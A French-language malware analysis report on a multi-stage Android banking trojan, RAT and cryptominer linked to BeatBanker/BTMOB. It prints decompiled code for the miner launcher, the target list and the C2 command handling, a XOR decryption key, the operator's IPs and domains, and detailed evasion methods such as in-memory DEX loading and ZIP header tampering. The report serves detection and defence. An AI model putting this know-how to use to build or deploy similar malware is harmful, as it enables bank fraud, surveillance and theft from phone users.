Pour les équipes SOC et de détection de la fraude du client, voici le point actionnable : un C2 basé sur FCM ne peut pas être bloqué à la périphérie du réseau sans casser des applications légitimes. La détection doit se faire sur le terminal, à partir de signaux comportementaux (par exemple, des applications avec un enregistrement FCM inattendu, des pushs FCM reçus par des packages sans notification visible par l'utilisateur), et non par un filtrage au niveau réseau.

Persistance

Une fois l'enregistrement FCM établi, l'orchestrateur demande une exemption d'optimisation de la batterie via l'intent Android standard android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS avec un URI de données package: (confirmé dans com.yqzg.parrnell.MainActivity, ligne 356). La permission est accordée par une boîte de dialogue système standard. Une fois accordée, Android cesse de tuer de manière agressive les processus d'arrière-plan de l'orchestrateur.

Déploiement des payloads en aval

L'orchestrateur transporte un lot d'installation dans son propre répertoire assets/, contenant le moteur d'installation et des bibliothèques natives, mais pas les APK en aval eux-mêmes :

Asset	Rôle
stage2_installer_bundle.zip → plectrumsplanchnomegalia (~4.6 MB DEX)	Le moteur d'installation : un gros DEX embarqué qui pilote l'installation en aval
stage2_installer_bundle.zip → arm64-v8a / armeabi-v7a	Bibliothèques natives adaptées à l'ABI, fournies avec l'installateur
stage2_installer_assets.zip	Ressources d'interface pour les faux écrans de configuration et de mise à jour, ainsi que output8.mp3 (utilisé plus tard par l'auxiliaire de l'étape 3 pour son mécanisme de keepalive par boucle multimédia)

Les APK en aval sont stockés localement sous forme chiffrée dans les assets de l'APK externe et transmis à l'installateur, et non récupérés en direct depuis le C2 comme chemin principal. com.yqzg.parrnell.JTcvL0wHeDQ3LLur9W (ligne 24) déchiffre et extrait un conteneur local (xylograph), en charge le moteur d'installation et sélectionne des blobs de configuration locaux (franker / ununanimouslynasoscope) qui désignent les assets de payloads préparés. Les configurations récupérées les associent à des ensembles d'assets concrets :

connector.predictor.messenger ← assets picaroons, pellagroid, gaitskell (les trois composants de l'APK fractionné).
com.sywo.chelingas ← asset nonsignatoriesyferre.

Un téléchargeur HTTP distinct existe dans com.yqzg.parrnell.JoDPj5ySc7Q56tJgl3 comme canal alternatif ou complémentaire, mais il n'est pas le mécanisme de livraison principal dans cet échantillon.

Couverture d'ingénierie sociale pendant l'installation

L'orchestrateur n'installe pas les payloads en aval en silence. Il présente de faux écrans de configuration et de mise à jour qui occupent l'attention de la victime pendant l'installation et banalisent les demandes de permissions que l'étape 4 fera ensuite : accessibilité, capture d'écran, lecture des SMS. Un utilisateur qui vient de voir se terminer ce qui ressemble à une « mise à jour système » légitime est prédisposé à accepter des invites à privilèges élevés.

Figure 2 : écran de fausse mise à jour : l'interface d'ingénierie sociale que l'orchestrateur présente à la victime pendant que les payloads en aval sont installés en arrière-plan.

L'étape 2 est le moment où le malware passe de « installé » à « contrôlable, persistant et prêt à déployer les vrais outils ». Trois caractéristiques le rendent difficile à perturber après coup : le C2 FCM ne peut pas être bloqué à la périphérie du réseau ; l'exemption d'optimisation de la batterie est accordée par une boîte de dialogue légitime, non corrigée ; et les payloads en aval s'installent en tant qu'APK indépendants, de sorte que supprimer l'orchestrateur ne les supprime pas.

Étape 3 : le payload auxiliaire, moteur de keepalive et livraison du mineur

La même architecture de transfert natif qu'à l'étape 1

L'APK auxiliaire (com.sywo.chelingas) utilise un schéma identique : une sous-classe Application dont les méthodes de cycle de vie résident dans une bibliothèque native (liblixhokfsmav.so), sans logique Java significative. C'est le c6xmV4.java présenté à l'étape 1, ce qui confirme que ce schéma est un choix d'ingénierie réutilisé plutôt que la caractéristique d'un seul composant.

Chargement de DEX en mémoire en deux temps

L'auxiliaire prépare son payload final via un DEX de bootstrap intermédiaire :

La bibliothèque native déchiffre par XOR l'asset 0DvdX3nFjtHAUApk avec la clé ASCII répétée de 64 caractères 8HqIe8TtMjtOpehmPZrAhrVbnIjZhkx3tcR720hfXQYeD7XQzeuhpdeTQ3SuM3Ap (utilisée directement comme séquence d'octets, et non comme passphrase PBKDF2), produisant un DEX de bootstrap intermédiaire (SHA-256 7583ae8a...).
La classe com.example.virusscanbypassbootstrapper.DexLoader du DEX de bootstrap, dont le nom décrit lui-même l'objectif, déchiffre en AES le second asset 4qZE2YiJUkIj2a2a/RioFpQvI avec AES/CBC/PKCS5Padding, au moyen d'une clé de 16 octets dérivée de SHA-1("RioFpQvI")[:16] (basename du chemin) et d'un IV entièrement nul, produisant une archive ZIP.
Le ZIP contient le DEX auxiliaire final (classes.dex, SHA-256 79aba8d3fad2...), chargé directement en mémoire par modification du class-loader (DexClassLoader pour API < 26, makeInMemoryDexElements pour API ≥ 29, combinés à une manipulation réflexive du tableau dexElements du class-loader parent).

Toute la chaîne s'exécute sans écrire le DEX final à un emplacement prévisible du disque, ce qui déjoue les scanners qui recherchent des fichiers APK ou DEX dans les chemins de stockage standard des applications.

Le DEX auxiliaire final fait deux choses : la persistance via un service de premier plan de fausse mise à jour système, et le cryptomining via un binaire natif téléchargé.

Persistance via une fausse notification de mise à jour système

L'auxiliaire s'enregistre comme service de premier plan Android, un mécanisme légitime qui permet une exécution indéfinie en arrière-plan en échange de l'affichage d'une notification. La notification est déguisée en message système :

Champ	Valeur
Titre de la notification	Update Now
Corps de la notification	The system is being updated, please keep the phone on.

La formulation joue un vrai rôle. Les utilisateurs sont culturellement conditionnés à ne pas interrompre les mises à jour système : en fermer une semble risqué, et « please keep the phone on » décourage les deux actions (balayer la notification, éteindre l'appareil) qui menaceraient le plus directement la persistance.

Derrière la notification, le service maintient deux mécanismes de keepalive supplémentaires : il lit en boucle output8.mp3 (livré via le ZIP d'assets de l'installateur de l'étape 2), ce qui fait classer le processus comme lisant activement un média et relève sa priorité dans le cycle de vie, et il réacquiert périodiquement des wake locks Android pour empêcher le CPU de se mettre en veille. Combinés, ces mécanismes font qu'Android ne terminera pas proactivement le processus, quels que soient l'état de l'écran, l'inactivité ou la pression sur la mémoire.

Déploiement du cryptomineur

En parallèle de la persistance, l'auxiliaire télécharge depuis l'infrastructure de l'opérateur un binaire de cryptomineur chiffré, le déchiffre sur l'appareil, l'écrit dans le stockage local et l'exécute comme processus enfant natif. Le code récupéré ci-dessous montre le lancement du processus du mineur et la surveillance de sa sortie standard pour en extraire des métriques de performance :

// APK: com.sywo.chelingas — recovered final helper DEX
// JADX source: sources/com/google/worker/work/a.java (inner class b.run(), lines 36–62)
//
// After writing the decrypted miner binary to disk and making it executable,
// the helper launches it as a child process and monitors its stdout in a
// background thread. Miner output lines are parsed for performance metrics.
// The method k() handles cleanup if the process terminates unexpectedly.

public void run() {
    try {
        String[] strArrG = a.this.g();   // builds argv: [-o pool, -k key, --tls, --no-color]
        File fileF = a.this.f();          // returns the dropped worker executable path
        a aVar = a.this;
        aVar.a = aVar.i(fileF, strArrG); // launches the miner process via ProcessBuilder
        Scanner scanner = new Scanner(a.this.a.getInputStream());
        while (!Thread.interrupted() && scanner.hasNextLine()) {
            String strNextLine = scanner.nextLine();
            t.a(strNextLine);             // telemetry: reports mining output upstream
            Log.v(..., strNextLine);      // raw miner output logged at verbose level
        }
    } catch (Exception e) {
        Log.e(..., "worker error: " + e);
    }
    a.this.k();   // cleanup / restart on termination
}

Les options de ligne de commande transmises au mineur (-o, -k, --tls, --no-color) sont cohérentes avec la CLI standard de XMRig, ce qui suggère fortement que le mineur est XMRig ou un fork proche, fonctionnant contre un pool compatible Monero.

L'ensemble de l'infrastructure du mineur récupérée :

Composant	Valeur
Noms des binaires du mineur	libmine-arm64.so / libmine-arm32.so
Téléchargeur du mineur	https://accessor.fud2026.com/, https://accessor.fud2026.org/
Pool de minage	pool.fud2026.com, pool.fud2026.com:8443
Proxy du pool de minage	pool-proxy.fud2026.com:8443
Hôte de télémétrie	https://aptabase.khwdji319.xyz:8443
Clé d'application de télémétrie	A-SH-2776504097

Le cluster de domaines fud2026.* n'est pas seulement une infrastructure opérationnelle : il figure aussi dans les indicateurs rapportés publiquement pour le cluster de la campagne BeatBanker (voir Attribution). Le composant de cryptomining fait partie intégrante de l'opération de l'acteur malveillant, et non d'un module complémentaire tiers.

Deux implications pour le client : contrairement au payload de l'opérateur, le cryptomineur a des symptômes physiques inévitables (déchargement accru de la batterie, dégagement de chaleur, utilisation du CPU au repos). Les signalements de clients faisant état d'une batterie qui se vide sans raison ou d'une surchauffe sur des appareils par ailleurs sains peuvent donc servir de signal de tri secondaire, indépendant des indicateurs de fraude bancaire. Et comme le minage génère des revenus pour chaque appareil infecté, que la fraude bancaire réussisse ou non, l'opérateur n'a aucun intérêt à sélectionner des cibles de grande valeur : une empreinte d'infection plus large est en soi rentable, ce qui justifie un investissement soutenu dans la campagne.

Étape 4 : le payload de l'opérateur, abus de l'accessibilité, capture d'écran et C2 en direct

L'étape 4 est le composant destiné à l'opérateur humain. Là où l'étape 3 s'exécute en silence pour générer des revenus passifs, l'étape 4 est une plateforme d'accès à distance interactive : elle observe la victime en temps réel, attend les moments de grande valeur (application bancaire au premier plan, invite de saisie d'identifiants, arrivée d'un OTP) et permet à l'opérateur de voir, d'intercepter et de manipuler ces moments au fur et à mesure. Toutes ses capacités reposent sur des permissions accordées par la victime, et non sur un exploit technique.

Installation, persistance et escalade de permissions

Le payload de l'opérateur est livré sous la forme d'un ensemble d'APK fractionnés : un APK de base, un APK DEX fractionné par code et un APK de ressources fractionné. C'est le format de distribution utilisé par les applications publiées via le Google Play Store, ce qui ajoute une couche de légitimité apparente et rend le payload plus difficile à extraire comme artefact unique.

Persistance au démarrage. Le manifeste déclare un BootReceiver (connector.predictor.messenger.BootReceiver) enregistré pour BOOT_COMPLETED, QUICKBOOT_POWERON, com.htc.intent.action.QUICKBOOT_POWERON, REBOOT et ACTION_SHUTDOWN. Au démarrage, le récepteur lance le service de premier plan avant que l'utilisateur ne déverrouille l'écran : le malware est en cours d'exécution et connecté au C2 au moment où l'écran de verrouillage apparaît.

Manifeste des permissions. Le payload demande un large ensemble de permissions, reflétant la boîte à outils complète de l'opérateur :

Permission	Usage opérationnel
READ_SMS	Interception des OTP, contournement de la 2FA bancaire
CAMERA	Accès à la caméra de l'appareil
MANAGE_EXTERNAL_STORAGE	Recherche et exfiltration de fichiers
WRITE_EXTERNAL_STORAGE (maxSdk=29)	Écriture de fichiers sur les anciennes versions d'Android
READ_EXTERNAL_STORAGE (maxSdk=32)	Lecture de fichiers sur les anciennes versions d'Android
REQUEST_INSTALL_PACKAGES	Installer discrètement des payloads supplémentaires
REQUEST_DELETE_PACKAGES	Supprimer des applications concurrentes ou effacer ses traces
QUERY_ALL_PACKAGES	Énumérer les applications installées pour identifier des cibles
FOREGROUND_SERVICE	Exécuter des services persistants en arrière-plan
FOREGROUND_SERVICE_MEDIA_PROJECTION	Service de capture d'écran persistant
FOREGROUND_SERVICE_DATA_SYNC	Service de synchronisation de données persistant
FOREGROUND_SERVICE_SPECIAL_USE	Type de service de premier plan réservé
FOREGROUND_SERVICE_SYSTEM_EXEMPTED	Classe de service de premier plan exemptée par le système
POST_NOTIFICATIONS	Afficher des notifications (requis sur Android 13+)
VIBRATE	Vibration de l'appareil (en appui aux écrans de verrouillage de phishing)
FLASHLIGHT	Contrôle du flash de l'appareil photo
INTERNET	Communication réseau
ACCESS_WIFI_STATE / ACCESS_NETWORK_STATE	Comportement adapté au réseau
WAKE_LOCK	Maintenir le CPU actif quel que soit l'état de l'écran
REQUEST_IGNORE_BATTERY_OPTIMIZATIONS	Empêcher l'OS de tuer les services d'arrière-plan
USE_EXACT_ALARM / SET_ALARM	Planifier des événements de réveil précis
DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION (custom)	Protéger les récepteurs internes contre une invocation externe

Les deux permissions décisives sur le plan opérationnel, le service d'accessibilité et la capture d'écran, ne sont pas accordées par le seul manifeste : toutes deux exigent que l'utilisateur les active via l'interface au niveau du système. Le kit de leurres existe pour les obtenir.

Le kit de leurres : l'ingénierie sociale comme vecteur d'obtention de permissions

Le payload embarque un ensemble de faux écrans HTML, stockés chiffrés dans l'APK et décodés à l'exécution :

Faux guides des paramètres d'accessibilité (acs_mi, acs_sm, acs_els) : guident la victime pour activer le service d'accessibilité malveillant, présenté comme une configuration obligatoire.
Faux écrans « VPN requis » (vpn_required) : créent un sentiment d'urgence et justifient un accès par ailleurs suspect.
Faux flux de mise à jour et d'initialisation (up_require, launcher, s1s2s3s4) : réduisent la méfiance pendant l'installation des composants en aval.
Capture d'identifiants (1.decoded) : formulaires génériques imitant des services de confiance.
Écrans de verrouillage par code PIN et mot de passe (2.decoded, 3.decoded) : interceptent les identifiants de déverrouillage de l'appareil ou diffusent des flux de phishing.

Figure 3 : faux écran d'activation de l'accessibilité : la page d'ingénierie sociale présentée à la victime pour la pousser à activer le service d'accessibilité malveillant.

Figure 4 : fausse mise à jour d'application / VPN requis / flux de chargement : écrans de leurre secondaires servant à maintenir la confiance de la victime et à créer des prétextes pour obtenir des permissions durables.

Il s'agit d'un flux de travail, et non d'une invite unique. Le malware ne demande pas tout d'un coup : il gagne la confiance grâce à des écrans de configuration d'apparence légitime, demande l'accessibilité dans un contexte où l'accorder paraît naturel, puis se sert de l'accessibilité pour faciliter les demandes suivantes. Une victime qui refuserait une invite d'accessibilité directe est bien plus susceptible de l'accorder comme quatrième étape d'un flux de mise à jour de routine.

Ce que l'abus de l'accessibilité donne réellement à l'opérateur

Dès que la victime active le service d'accessibilité malveillant, le rapport de force sur l'appareil bascule. L'API d'accessibilité d'Android a été conçue pour des usages légitimes (lecteurs d'écran, outils d'accès par commutateur), mais les capacités qu'elle expose (lire n'importe quel élément d'interface, simuler n'importe quel toucher, intercepter les événements de touches) sont exactement ce dont un opérateur distant a besoin. La configuration du service récupérée demande la surface maximale :

Capacité	Valeur
Capture d'événements	typeAllMask (tous les événements d'interface de l'appareil)
Filtre de package	Absent (sans restriction : surveille toutes les applications de la même manière)
Peut récupérer le contenu des fenêtres	true
Peut effectuer des gestes	true
Peut prendre des captures d'écran	true
Peut demander le filtrage des événements de touches	true
Flags	flagRetrieveInteractiveWindows, flagReportViewIds, flagRequestEnhancedWebAccessibility, flagRequestTouchExplorationMode, flagIncludeNotImportantViews, flagDefault

(Source : res/xml/aujijdshciyxu.xml.)

Il s'agit d'un substrat complet de surveillance et de contrôle à distance de l'appareil. L'opérateur peut lire chaque élément d'interface, appuyer sur n'importe quel bouton, soumettre n'importe quel formulaire, intercepter les frappes, prendre des captures d'écran, et faire tout cela dans n'importe quelle application, y compris les applications bancaires durcies.

Logique de ciblage

Le service surveille les transitions de l'application au premier plan et compare l'application nouvellement active à une liste de cibles :

// APK: connector.predictor.messenger — split DEX
// JADX source: connector/predictor/messenger/posvvhbqnqa.java
//
// Note: Analytical abstraction — obfuscated rf0.a() calls replaced with decoded values.
//
// On every foreground app transition, the accessibility service checks two conditions:
// (1) tracking is enabled in shared preferences (re.e0), and
// (2) the runtime target map (s.i / s.j / s.k) has at least one entry.
// If both are true, it iterates the target map comparing the current
// foreground package name and browser URL against stored target values.
// When mode 'G' (phishing/monitoring activation) matches, t() is called
// to trigger the next stage of the attack against that specific app.

if (((r00.c(getApplicationContext(), re.e0, false) && s.h.size() > 0)
        || r00.c(getApplicationContext(), /* ... */, false)) && r9 != 0) {
    for (Map.Entry entry : s.i.entrySet()) {
        String str17 = (String) entry.getKey();
        str10 = (String) entry.getValue();    // ltrk: URL/domain tracker value
        str11 = (String) s.j.get(str17);      // itrk: package name to match
        str12 = (String) s.k.get(str17);      // ityp: activation mode
        if (s.B0(str16.toLowerCase(), str10)
                || (str11 != null && str11.toLowerCase().equals(str15))) {
            if (str12.equals(/* "G" */)) { // mode 'G' = active phishing
                if (!a0()) {
                    t(getApplicationContext(), this); // trigger phishing/interaction flow
                }
            }
            // else-branch: passive monitoring mode — captures the foreground app's
            // 144×144 icon, encodes it as PNG, and schedules a Timer task (new e(...))
            // after an 800ms delay to report the foreground-app transition upstream.
        }
    }
}

Au moins deux modes d'activation existent

Le mode G déclenche le phishing actif. La branche else correspond à un mode de surveillance passive : à chaque transition de l'application au premier plan (sur n'importe quelle application, pas seulement les cibles de phishing), le service capture l'icône 144×144 de l'application au format PNG et programme un rapport différé. L'opérateur reçoit un flux continu des applications utilisées par la victime, indépendamment de la liste de phishing active.

La table des cibles est alimentée à l'exécution, pas codée en dur

Aucune liste statique de noms de package d'applications bancaires n'a été retrouvée nulle part dans l'échantillon. Les tables s.i, s.j, s.k sont vides jusqu'à ce que l'opérateur y pousse des définitions de cibles. Le répartiteur de commandes C2 récupéré (d0.java, commande de cas 4) montre le mécanisme :

// APK: connector.predictor.messenger — split DEX
// JADX source: sources/connector/predictor/messenger/d0.java (L1271–1284)
//
// C2 command case 4: the operator sends a JSON object containing
// ntrk (tracker ID), ltrk (URL/domain), itrk (package name), and ityp (mode).
// The connector immediately inserts these values into the live target maps,
// enabling real-time retargeting to any application without requiring
// a new APK or any action from the victim.

String strOptString5 = jSONObject.optString(/* "ntrk" */, "");
String strOptString6 = jSONObject.optString(/* "ltrk" */, "");
String strOptString7 = jSONObject.optString(/* "itrk" */, "");
String strOptString8 = jSONObject.optString(/* "ityp" */, "");
if (strOptString8.equals(/* "G" */)) {
    posvvhbqnqa.x.add(strOptString7.toLowerCase()); // add package to active watch list
}
s.K(strOptString5, strOptString6); // store tracker value
s.H(strOptString5, strOptString7); // store package name
s.I(strOptString5);                // initialize tracking state
s.J(strOptString5, strOptString8); // store activation mode
r00.f(d0.h, re.e0, true);          // set tracking_enabled = true in shared prefs

Un second chemin, parallèle, existe via Firebase : le gestionnaire de démarrage du service (hhmpmwbx.java) lit un champ TRK dans le payload de tâche Firebase, décode chaque entrée en Base64 et alimente les mêmes structures de cibles. Deux canaux de livraison indépendants : interactif (WebSocket) et diffusion (FCM, qui peut atteindre l'ensemble du parc d'un seul coup) :

// APK: connector.predictor.messenger — split DEX
// JADX source: sources/connector/predictor/messenger/hhmpmwbx.java
//
// On service start, the connector checks the 'TRK' value from its shared state.
// If it is non-empty and does not begin with the sentinel 'empty|', it splits
// the value on '|', Base64-decodes each entry as UTF-8, then splits each
// decoded entry on the field separator '[<s>]' into four named fields:
// ntrk, ltrk, itrk, ityp. This is the same structure as the live C2 update above.

if (!oxjugojsnjozr.efexbpctvpjlwqee.contains(/* "|" */)
        || oxjugojsnjozr.efexbpctvpjlwqee.startsWith(/* "empty|" */)) {
    r00.f(getApplicationContext(), re.e0, false);
    return;
}
r00.f(getApplicationContext(), re.e0, true);
for (String str2 : oxjugojsnjozr.efexbpctvpjlwqee.split(/* "|" */)) {
    String str3 = new String(Base64.decode(str2, 0), /* "UTF-8" */);
    if (str3.length() > 0 && str3.contains(/* "[<s>]" */)) {
        String[] strArrSplit = str3.split(/* "[<s>]" */);
        String str4 = strArrSplit[0]; // ntrk
        String str5 = strArrSplit[1]; // ltrk
        String str6 = strArrSplit[2]; // itrk (package name)
        String str7 = strArrSplit[3]; // ityp (activation mode)
        if (str7.equals(/* "G" */)) {
            posvvhbqnqa.x.add(str6.toLowerCase());
        }
        s.K(str4, str5);
        s.H(str4, str6);
        s.I(str4);
        s.J(str4, str7);
    }
}

La capacité à cibler n'importe quelle banque est intégrée au malware ; la liste des banques actuellement ciblées réside sur le serveur C2. Des éléments indépendants, issus d'une vidéo de preuve de concept publiquement disponible de l'interface C2 côté opérateur, corroborent la présence active de noms de package bancaires dans les listes de cibles de l'opérateur dans la nature.

Capture d'écran et diffusion de phishing

Au-delà de l'interaction pilotée par l'accessibilité, le connecteur met en œuvre une capture d'écran continue via l'API MediaProjection d'Android. VirtualDisplay, ImageReader et un transport WebSocket forment un pipeline de streaming en direct vers l'opérateur.

La capture d'écran est indépendante de l'accessibilité : API Android différente, permission différente (FOREGROUND_SERVICE_MEDIA_PROJECTION), boîte de dialogue de consentement différente, que le kit de leurres est spécifiquement conçu pour obtenir. Un opérateur disposant à la fois de l'accessibilité et de la capture d'écran bénéficie d'une visibilité redondante : si un flux se dégrade, l'autre continue.

Diffusion de phishing à l'activation d'une cible. Lorsqu'un package ciblé passe au premier plan et que le mode G s'active, le connecteur peut diffuser du contenu de phishing par trois mécanismes :

Une WebView plein écran chargée depuis le kit de leurres HTML local (activité cofsbfpmyxowwuea).
Une Activity factice de verrouillage ou de saisie d'identifiants (activité dhsesufepsplsmqcghx) superposée à l'application légitime.
Une manipulation directe, pilotée par l'accessibilité, de l'interface même de l'application légitime (remplissage automatique des champs, soumission de formulaires, autorisation de transactions), sans overlay (via le service d'accessibilité posvvhbqnqa).

Le troisième mécanisme est le défi de la détection : aucune empreinte de fenêtre d'overlay que les défenses sur l'appareil pourraient repérer, puisqu'il n'y a pas d'overlay. Le malware utilise l'application bancaire réelle de la victime pour le compte de l'opérateur, au moyen de la session authentifiée de la victime. Du point de vue du backend de la banque, chaque action provient de l'appareil et de la session de l'utilisateur légitime, parce que c'est bien le cas.

Figure 5 : faux écran de capture d'identifiants ou de verrouillage par code PIN : l'overlay de phishing que le connecteur présente après l'activation du ciblage par accessibilité sur une application surveillée.

Architecture de communication C2

Le connecteur maintient deux canaux parallèles vers l'infrastructure de l'opérateur.

Canal principal : WebSocket persistant.

// APK: connector.predictor.messenger — split DEX
// JADX source: sources/filterpredictor/loggermuxer/daemonallocatorx/daemonprober/gz.java (L291)
//
// The connector instantiates an OkHttpClient and opens a persistent WebSocket
// to the URL returned by re.c(). The WebSocket listener (C0054a) handles
// incoming operator commands in real time.

public void run() {
    OkHttpClient unused = gz.a = new OkHttpClient();
    gz.f = gz.a.newWebSocket(new Request.Builder().url(re.c()).build(), new C0054a());
}

Le point de terminaison C2 est configurable à l'exécution. re.c() n'est pas une constante. La méthode (re.java L201–216) lit un champ configurable à l'exécution re.c, initialisé à vide, effectue un test de joignabilité sur les valeurs configurées, et ne se rabat sur une chaîne obfusquée codée en dur, décodée en ws://195.160.221.203:8080/, que si aucune valeur configurée n'est joignable. L'adresse IP codée en dur est le repli ; un opérateur peut rediriger l'emplacement principal par une mise à jour de configuration, sans pousser de nouvel APK. Bloquer 195.160.221.203 coupe le repli, mais n'empêche pas la redirection vers une nouvelle infrastructure arbitraire.

Canal secondaire : rapports et tâches via HTTP.

Canal	Point de terminaison	Rôle
C2 WebSocket principal (repli)	ws://195.160.221.203:8080/	Contrôle opérateur bidirectionnel en temps réel
Rapport d'erreurs	http://45.149.114.40/yaarsa/private/log_error.php	Télémétrie de plantages/erreurs côté malware
Tâches / configuration	http://45.149.114.40/yaarsa/private/yarsap_80541.php	Récupération de tâches planifiées
Redirection / reconfiguration	https://famelack.com/	Point de terminaison de redirection contrôlé par l'opérateur

Le jeu complet de commandes de l'opérateur. Les gestionnaires du répartiteur récupéré montrent un RAT Android généraliste, et non un outil étroit d'overlay bancaire :

Commande	Capacité
screen / scread	Capture et diffusion d'écran en direct
upload	Exfiltration de fichiers vers le C2
bot	Automatisation pilotée par l'accessibilité (toucher, balayer, saisir)
brows	Contrôle des sessions de navigateur (Chrome, Firefox, Samsung Browser, Brave, Opera, Edge, DuckDuckGo)
clip	Lecture/écriture du presse-papiers
file / srh	Recherche de fichiers par catégorie, copie, déplacement
loc	Localisation de l'appareil
mic	Accès au microphone
sms	Lecture et envoi de SMS
net / trm	Shell réseau / exécution à distance de type telnet
miner	Contrôle du démarrage/arrêt du mineur
lock	Verrouillage de l'appareil / écran de blocage
red	Redirection / reconfiguration
DDS	Contrôleur du moteur de DoS/flooding
calf	Renvoi d'appels
ject / lject	Utilitaires d'injection de code
update	Mise à jour automatique du payload
clone	Clonage / réplication de l'application
optns	Mise à jour de la configuration à l'exécution
add	Inventaire de l'appareil / instantané de télémétrie
spng	Instantané de l'état du spyware (tampon de keylogger, URL actives, flux de notifications, état de la surveillance)
blker	Contrôle du blocage (machine à états de blocage des SMS / appels)
wrk	Bus de paquets interne des workers d'arrière-plan
chat	Lance l'activité de chat sur l'appareil
fetch	Énumère les numéros de téléphone des SIM actives ou télécharge des fichiers arbitraires
bc	Pilote les flux d'alertes / notifications visibles par l'utilisateur
tols	Actions utilitaires générales : affichage de toast, ouverture d'URL, synthèse vocale, contrôle de la torche, changement du volume

Capacité annexe de contournement de la détection : liste noire d'hôtes ads.txt. Le payload embarque un fichier assets/ads.txt encodé en XOR qui se décode en une liste d'environ 75 873 noms d'hôtes publicitaires et d'analytique, utilisée par l'activité cofsbfpmyxowwuea (l'hôte WebView des leurres) pour filtrer les requêtes réseau publicitaires et d'analytique du contenu rendu dans la WebView. Les pages de leurre s'affichent proprement, sans le bruit de tiers qui pourrait créer des signaux réseau secondaires.

L'étape 4 est le moment où l'impact métier se concrétise. La boîte à outils de fraude est complète : interception des OTP, manipulation de transactions pilotée par l'accessibilité, observation de l'écran en direct, diffusion d'overlays de phishing et blocage des appels/SMS pendant la fraude (blker). La détection exige une visibilité sur le terminal, pas une inspection du réseau : bloquer l'adresse IP de repli codée en dur ne coupe pas un C2 principal reconfigurable à l'exécution.

Techniques d'anti-analyse

L'échantillon est conçu pour résister à l'analyse à chaque couche que l'analyste aborde naturellement en premier. Sept techniques ont été identifiées dans l'échantillon. Prises une à une, elles sont modestes ; ensemble, elles constituent une posture de défense en profondeur qui augmente sensiblement le coût de l'analyse.

Métadonnées ZIP falsifiées

L'APK externe n'est pas une archive ZIP valide au sens strict de la spécification. resources.arsc et AndroidManifest.xml ont tous deux leurs en-têtes de fichier locaux marqués comme chiffrés, utilisent des méthodes de compression non définies (respectivement 0x598F et 0x8DCF, aucune n'étant une méthode ZIP standard) et déclarent une taille compressée de zéro, alors que les données réelles de chaque entrée suivent l'en-tête sous forme d'octets bruts.

Les outils Android standard sont suffisamment stricts sur la conformité ZIP pour que ces entrées provoquent des échecs d'analyse ou des rapports structurels erronés : apktool et aapt refusent tous deux de traiter correctement l'archive. Une inspection manuelle du répertoire central du ZIP et une réécriture des en-têtes mal formés sont nécessaires avant que l'APK puisse être traité par les outils d'analyse statique habituels. Le chargeur d'exécution d'Android lui-même est assez permissif pour accepter l'archive et installer l'application normalement.

Architecture de bootstrap natif

Les méthodes critiques du cycle de vie de la sous-classe Application injectée dans l'APK externe (attachBaseContext et onCreate) sont déclarées natives et entièrement implémentées dans une bibliothèque partagée ARM (libmetaspermousdevitrifiednoiseful.so). Le même schéma est réutilisé dans la sous-classe Application c6xmV4.java de l'auxiliaire de l'étape 3, adossée à liblixhokfsmav.so. JADX et tout autre décompilateur de la couche Java auquel on présente ces classes ne voit que des signatures de méthodes vides : aucun bytecode, aucune logique à analyser.

Chiffrement des payloads par étapes

Le véritable payload de chaque étape est stocké dans le répertoire assets/ de l'étape précédente sous la forme d'un blob chiffré à forte entropie, avec des noms de fichiers choisis pour ressembler à des identifiants d'assets opaques plutôt qu'à des types de fichiers reconnaissables. Deux chiffrements différents sont utilisés : un XOR répété pour les DEX de bootstrap, et AES/CBC/PKCS5Padding avec des clés de 128 bits dérivées du basename de l'asset par troncature SHA-1 pour les APK et archives ZIP en aval.

Chargement de DEX en mémoire

Les DEX de payloads déchiffrés ne sont jamais écrits dans les chemins du disque qu'un scanner surveillerait. À la place, le code de bootstrap modifie le class-loader : il manipule par réflexion le tableau dexElements du class-loader parent sur les anciens niveaux d'API Android, ou invoque directement makeInMemoryDexElements à partir de l'API 29. Les payloads préparés s'exécutent comme de véritables applications Android, sans apparaître comme des APK installés ni comme des fichiers DEX sur disque dans un chemin de stockage standard.

Obfuscation des chaînes à plusieurs niveaux

Deux enveloppes distinctes d'obfuscation des chaînes sont utilisées en parallèle :

rf0.a() : chiffrement simple par XOR répété. Utilisé pour les chaînes en grand nombre, dont le déchiffrement doit être peu coûteux à l'exécution.
s00.a() : AES/CBC/PKCS5Padding avec une clé de 128 bits dérivée par PBKDF2WithHmacSHA1 avec 65 536 itérations. Réservé aux chaînes sensibles sur le plan opérationnel : URL, noms de commandes, motifs de packages ciblés.

Cette hiérarchisation traduit une défense réfléchie : l'auteur réserve le coûteux AES-PBKDF2 aux chaînes les plus importantes, et traite les autres avec un XOR peu coûteux.

Détection d'émulateur

La classe Activity principale czjjzmkujkl effectue une détection d'émulateur à la ligne 106 en consultant trois méthodes auxiliaires de p0.java (p0.f0(), p0.m0() et p0.o0()), dont chacune compare Build.BRAND à une chaîne de marque obfusquée afin d'identifier les empreintes d'émulateurs courants. Le comportement en cas de détection n'est ni un plantage brutal, ni une sortie immédiate. À la place, le résultat de la détection sert à choisir entre deux blobs de configuration ; lorsqu'un émulateur est détecté, l'échantillon poursuit avec le blob alternatif plutôt qu'avec le blob normal.

Observations de clôture

Deux aspects de la conception d'anti-analyse de cet échantillon sont assez spécifiques pour mériter d'être soulignés.

La falsification du ZIP est chirurgicale. Seules deux entrées de l'APK externe, resources.arsc et AndroidManifest.xml, portent des métadonnées falsifiées (méthodes 0x598F et 0x8DCF). Toutes les autres entrées sont valides. Ce schéma chirurgical limité à deux fichiers est suffisamment distinctif pour servir d'indicateur de famille parmi les échantillons BeatBanker / BTMOB.

La dérivation de la clé AES est accessible à l'analyste. Le DexLoader de l'étape 3 dérive sa clé de 128 bits en calculant SHA-1(basename_of_asset_path)[:16]. Comme la clé est dérivée du nom de fichier et non d'un secret contenu dans la bibliothèque native, tout analyste qui obtient l'asset chiffré peut en dériver la clé sans faire de rétro-ingénierie du code natif. Le chiffrement joue ici le rôle de friction anti-scanner, et non de véritable barrière pour une analyse déterminée.

Attribution : BeatBanker / BTMOB

Contexte sur le cluster

BeatBanker et BTMOB sont des familles de malwares Android distinctes mais apparentées, documentées dans plusieurs sources de recherche sur les menaces indépendantes. BeatBanker, documenté par Securelist de Kaspersky et résumé par BleepingComputer, est une plateforme Android de banker/mineur à étapes, diffusée via des applications utilitaires trojanisées. BTMOB est une famille de RAT, documentée indépendamment par Cyble comme une évolution de SpySolr, que les échantillons récents de BeatBanker déploient à la place d'un module bancaire antérieur.

